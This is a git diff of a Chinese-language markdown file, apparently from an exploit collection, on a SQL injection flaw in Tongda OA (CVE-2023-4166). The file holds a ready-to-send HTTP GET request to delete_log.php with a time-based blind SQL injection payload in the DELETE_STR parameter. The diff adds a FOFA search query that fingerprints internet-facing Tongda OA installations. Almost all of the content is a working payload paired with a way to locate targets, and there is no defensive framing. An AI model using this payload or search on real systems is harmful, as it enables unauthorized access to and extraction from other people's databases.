diff --git a/通达OA sql注入漏洞 CVE-2023-4166.md b/通达OA sql注入漏洞 CVE-2023-4166.md
index 7380be9..bd9d532 100644
--- a/通达OA sql注入漏洞 CVE-2023-4166.md	
+++ b/通达OA sql注入漏洞 CVE-2023-4166.md	
@@ -1,4 +1,5 @@
 ## 通达OA sql注入漏洞 CVE-2023-4166
+
 ```
 GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
 Host: 127.0.0.1:8080
@@ -8,3 +9,9 @@ Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 ```
+
+## FOFA语法：
+```
+app=“TDXK-通达OA” && icon_hash=“-759108386”
+
+```